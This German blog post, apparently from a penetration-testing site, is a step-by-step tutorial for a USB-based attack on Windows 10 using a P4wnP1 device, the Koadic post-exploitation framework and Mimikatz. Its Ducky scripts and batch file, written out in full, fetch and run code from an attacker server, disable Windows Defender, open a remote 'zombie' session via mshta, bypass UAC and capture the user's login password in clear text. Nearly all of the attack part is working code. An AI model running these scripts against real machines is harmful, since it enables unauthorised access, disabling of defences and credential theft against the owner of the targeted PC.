Die flexible Hintertür mit Koadic und P4wnP1

In vorangegangenen Beiträgen habe ich gezeigt, wie Sie den P4wnP1 effektiv als USB-Angriffsplattform einsetzen können. Durch das Einbinden von Ducky Skripten lässt sich das Werkzeug auch sehr gut mit anderen Post-Exploitation-Frameworks kombinieren.  Obwohl der P4wnP1 mit einer RAT-ähnlichen Komponente (RAT = Remote Admin Tool) ausgestattet ist, sollte jeder Penetration Tester an alternativen Methoden interessiert sein.  Nicht selten kommt es vor, dass die etablierte Vorgehensweise nicht greift oder externe Einflüsse eine erfolgreiche Penetrierung des Zielsystems verhindern.

Im Folgenden zeige ich, wie Sie mit Hilfe des Post-Exploitation-Frameworks Koadic, dem P4wnP1 und der neunen Version von Mimikatz, das Logon-Passwort in Klartext aus Windows 10 (1809) auslesen können und damit eine flexible Hintertür zum Zielsystem nutzen.

Das Szenario

Das Zielsystem hat Windows 10 installiert, verfügt über alle aktuellen Updates und ist mit dem Windows Defender vor aktuellen Angriffen geschützt. Auf dem PC ist ein Nutzer eingerichtet, der mit Hilfe der Benutzerkontensteuerung (UAC) bei Bedarf lokale administrative Rechte erhalten kann.

Der Angreifer hat eine WLAN-Verbindung zum P4wnP1 und unterhält gleichzeitig eine SSH-Verbindung zu einem externen Server, auf dem das Post-Exploitation-Framework Koadic installiert ist.

Die Herausforderung

Zum Auslesen des Passwortes sind in der Regel administrative Rechte erforderlich. Um dies zu erreichen, können wir verschiedene Koadic-Module einsetzen, die im Allgemeinen aber vom Windows Defender erkannt und damit geblockt werden. Auch für Mimikatz hat der Windows Defender eine Signatur parat, die den erfolgreichen Einsatz unmöglich macht.

Die Lösung

Mit Hilfe des P4wnPi, der über USB mit dem Opfer-PC verbunden ist, kann der Angreifer eine  SSH-Verbindung über WLAN zum P4wnP1 herstellen. Die Hintertür-Funktionalität des P4wnPi nutzend kann er nun verschieden Ducky-Skripte starten, die zunächst den Windows Defender auf dem Zielsystem abschalten und danach eine „Zombie“-Verbindung zum Koadic-Server herstellen. Über diese Schnittstelle lassen ich nun weitere Post-Exploitation-Module ausführen, die weitere Informationen (z.B. Passwort-Hashes) aus dem Zielsystem auslesen, permanente Verbindungen herstellen oder das Zielnetzwerk erkunden.  

Um das Logon-Passwort auf dem Zielsystem im Klartext zu erhalten, wird die neue Version von Mimikatz übertragen, ausgeführt und danach der Bildschirm gesperrt. Beim nächsten Login des Nutzers wird das Passwort in Klartext in eine Logdatei geschrieben, die nur noch vom Angreifer ausgelesen werden muss.

Koadic-Server einrichten

Koadic ist eine Post-Exploitation-Rootkit, das vorrangig auf Windows spezialisiert ist. Als Programmiersprache wird Python3 eingesetzt. Die Anwendungen laufen in der Regel über Module (hier „stager“ und „implants“ genannt), die in JScript/VBScript geschrieben sind. Sie installieren die Software wie folgt:

sudo apt-get update
sudo apt-get install build-essential libssl-dev libffi-dev python-dev python3-pip
cd /opt/
git clone https://github.com/zerosum0x0/koadic.git
cd koadic
pip3 install -r requirements.txt
./koadic

Die Datei autorun.example enthält ein Beispiel, wie Sie bereits beim Programmstart gewisse Parameter übergeben, die von Koadic genutzt werden sollen. Hier bieten sich folgende Optionen an:

ENDPOINT: standartmäßig legt Koadic einen zufälligen Endpunkt fest für die URL fest. Hiermit wir eine gleichbleibende Zeichenkette vorgemerkt.
SRVPORT: legt den Port fest, auf dem der Server „horcht“.
KEYPATH/CERTPATH : verweisen auf die notwendigen Dateien für die Verschlüsselung.

Beispieldatei autorun.cfg:

set SRVPORT 443
set ENDPOINT eagle  
#set KEYPATH /opt/koadic/x509/server.key
#set CERTPATH /opt/koadic/x509/server.crt
run

Der Programmaufruf mit diesen Parametern sieht dann wie folgt aus:

sudo su
cd /opt/koadic/
./koadic --autorun autorun.cfg

Der erfolgreiche Start des Koadic-Servers (ohne Verschlüsselung) sieht folgendermaßen aus:

Den P4wnP1 einrichten

Die Installation des P4wnP1 habe ich in diesem Beitrag ausführlich erklärt. Beachten Sie außerdem, dass für die Hintertür die Option „hid_backdoor.txt“ in der Datei setup.cfg freizuschalten ist. Diese und weitere Beschreibungen, z.B. zur Nutzung von Ducky Skripten,  finden Sie in meinem vorangegangen Artikel.

Folgende Ducky-Skripte müssen Sie für das Szenario erstellen und auf den P4wnP1 in das Verzeichnis /P4wnP1/DuckyScripts abspeichern:

Disable_Defender.duck

//    Act responsibly!
//
//    Pentestit.de (2019)
//    Copy defender.bat from Koadic-Server and run it as setup.bat on Target PC
//    setup.bat will disable Windows Defender and install first Zombie
//
DELAY 2000
GUI r
DELAY 1000
STRING cmd /C "start /MIN powershell iwr -Uri http://koadic_server-IP/defender.bat -OutFile c:\windows\temp\setup.bat" 
DELAY 2000
ENTER
DELAY 8000
GUI r
DELAY 1000
STRING cmd /C "start /MIN c:\windows\temp\setup.bat"
DELAY 2000
ENTER
DELAY 4000
ALT J
DELAY 4000
GUI r
DELAY 1000
STRING cmd /C "start /MIN taskkill /f /IM cmd.exe"
DELAY 6000
ENTER
DELAY 6000

Get_Zombie.duck

//    Act responsibly!
//
//    Pentestit.de (2019)
//    Get a Koadic "Zombie"
//
DELAY 2000
GUI r
DELAY 1000
STRING cmd /C "start /MIN mshta http://koadic_server-IP:443/endpoint"
DELAY 2000
ENTER

Run_Mimikatz.duck

//    Act responsibly!
//
//    Pentestit.de (2019)
//    Download mimikatz.exe from Koadic-Server und run it on Target PC
//    Log screen and wait for the next user who unlocks it
//
DELAY 2000
GUI r
DELAY 200
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 4000
TAB
TAB
ENTER
DELAY 3000
STRING $down = New-Object System.Net.WebClient; $url = 'http://koadic_server-IP/mimikatz/mimikatz.exe'; $file = 'mimikatz.exe'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file);
ENTER
DELAY 3000
STRING privilege::debug
ENTER
DELAY 3000
STRING misc::memssp
ENTER
DELAY 2000
REM Close all windows
STRING exit
ENTER
DELAY 2000
STRING exit
ENTER
DELAY 1000
REM Lock Screen
GUI l

Wie Sie bereits bemerkt haben, wird im ersten Ducky Script (Disable_Defender.duck) die Datei defender.bat vom Koadic-Server heruntergeladen und als setup.bat in einem temporären Verzeichnis auf dem Opfer-PC abgelegt.

Betrachtet man diese Datei, so wird der eine oder andere die Möglichkeit einer Vereinfachung sehen. Hier sollten keine Missverständnisse aufkommen. Mir ist auch klar, dass eine großer Teil des Skriptes durch den Powershell-Befehl: Start-Process powershell -Verb runAs abgedeckt werden könnte. In diesem Zusammenhang wollte ich aber eine Alternative aufzeigen, die die Benutzerkontensteuerung aufruft. Dazu angeregt wurde ich über diesen Post im Hak5-Forum. Die alternative Powershell-Methode hatte ich bereits hier beschrieben.

Die Datei defender.bat sieht somit folgendermaßen aus:

REM Act responsibly!
REM Pentestit.de (2019)
REM -------------------------------------
REM Get admin and disable Windows Defender
REM Get Koadic Zombie
REM Thanks to Hak5-Forum https://forums.hak5.org/topic/31147-key-combos-in-ducky-script/

@echo off
CLS

mode con:cols=18 lines=1

:checkPrivileges
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges )

:getPrivileges
if '%1'=='ELEV' (shift & goto gotPrivileges)

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs"
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs"
"%temp%\OEgetPrivileges.vbs"
exit /B

:gotPrivileges
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .

REM Run shell as admin (example) - put here code as you like
REM cmd /k
powershell  "Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -DisableIOAVProtection $true -DisableIn$
REM Wait 5 seconds
timeout 5 > NUL
REM Start Zombie
mshta http://koadic_server-IP:443/eagle

Hinweis für die Skript-Erstellung

Wer schon selbst Ducky Skripte erstellt hat wird festgestellt haben, dass sie nicht beim ersten mal funktionieren bzw. ein wenig Kleinarbeit (Tweaking) gefragt ist. Oftmals können schon kleine Veränderungen in der Wartezeit (Delay-Kommando) den gewünschten Erfolg bringen. Folgender Tipp hilft, zwischen einer laufenden Hintertür-Session und der P4wnP1-Kommandozeile hin und her zu schalten:

Die Tastenkombination STRG +AD schaltet auf die Kommandozeile zurück. Hier können Sie nun mit den Editor Ihrer Wahl das Ducky-Skript bearbeiten/erstellen.

Um die Wirkung des Skripts auf de Zielsystem mittels der Funktion SendDuckyScript zu testen, schalten Sie mit dem Befehl sudo screen -d -r wieder in den ursprünglichen Backdoor-Modus zurück:

Vorgehensweise im Einzelnen

Wir gehen davon aus, dass der Koadic-Server gestartet ist und er Anfragen aus dem Internet über den festgelegten Port und URL (Endpoint) empfangen kann.

Gleichzeitig liegen im Download Verzeichnis des Webservers die Dateien mimikatz.exe und defender.bat. Beachten Sie, dass je nach Architektur des Zielsystem (32- oder 64-bit) verschiedene Mimikatz-Dateien zur Anwendung kommen können.

Kurz nachdem der P4wnP1 in eine freie USB-Schnittstelle des Zielsystems gesteckt wurde, können Sie vom Angriffssystem eine SSH-Verbindung zum P4wnP1 herstellen. Nutzen Sie dazu die WLAN-Einstellungen und Passworte wie hier bereits beschrieben.

Sobald eine Verbindung zum P4wnP1 hergestellt ist, sollten Sie die Tastatureinstellungen auf dem Zielsystem prüfen und ggf. anpassen. Nutzen Sie dazu den Befehl SetKeyboardLanguage.

Danach können Sie den Windows Defender mittels Ducky Skript Disable_Defender.duck abschalten. Gleichzeitig wird eine Session zum Koadic-Server erzeugt.  Nun sollte auch die ersten „Zombie-Verbindung“ im Server dargestellt sein.

Sollte aus verschiedenen Gründen die Verbindung zum Koadic-Server unterbrochen werden, so nutzen Sie das Ducky Skript Get_Zombie.duck. Verwenden Sie dazu das Kommando SendDuckyScript im Menü des P4wnP1. Die Art und Weise hatte ich hier bereits beschrieben. Außerdem ist zu beachten, dass Sie nach erfolgreicher Ausführung des entsprechenden Skriptes „nur“ Nutzerrechte besitzen. Sie müssen also die Rechte eskalieren, wenn es erforderlich ist. In meinen Tests funktioniert dies, wie hier gezeigt,  unter Windows 10 mit folgenden Modulen: /implant/elevate/bypassuac_compdefaults oder /implant/elevate/bypassuac_fodhelper.

Um an das Logon Passwort zu gelangen, kommt Run_Mimikatz.duck zum Einsatz. Auch hier benötigen Sie wieder administrative Rechte, die das Skript eskaliert. Abschließend sperrt das Ducky Skript den Bildschirm, sodass sich der Nutzer neu einloggen muss.  Erst danach können Sie das Passwort aus der Datei c:\windows\system32\mimilsa.log im Klartext auslesen. Verwenden Sie dazu eine aktive Zombie-Verbindung und nutzen Sie  das Kommando cmdshell und dann die entsprechenden Befehle aus dem Windows-Betriebssystem.

cmdshell (Zombie-ID)
type c:\windows\system32\mimilsa.log

Das folgende Video zeigt den gesamten Ablauf des Angriffs:

Fazit

Wird der P4wnP1 über das eingebaute Hintertür-Modul einsetzt, so kann man über das Kommando FireStage1 eine Verbindung zum Zielsystem herstellen. Dabei helfen die beigefügten Befehle, um Informationen zu sammeln bzw. auszuwerten. Die hier vorgestellte Methode über den Koadic-Server stellt eine Alternative dar, die außerdem die Vorteile eines Post Exploitation Frameworks anschaulich macht.

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.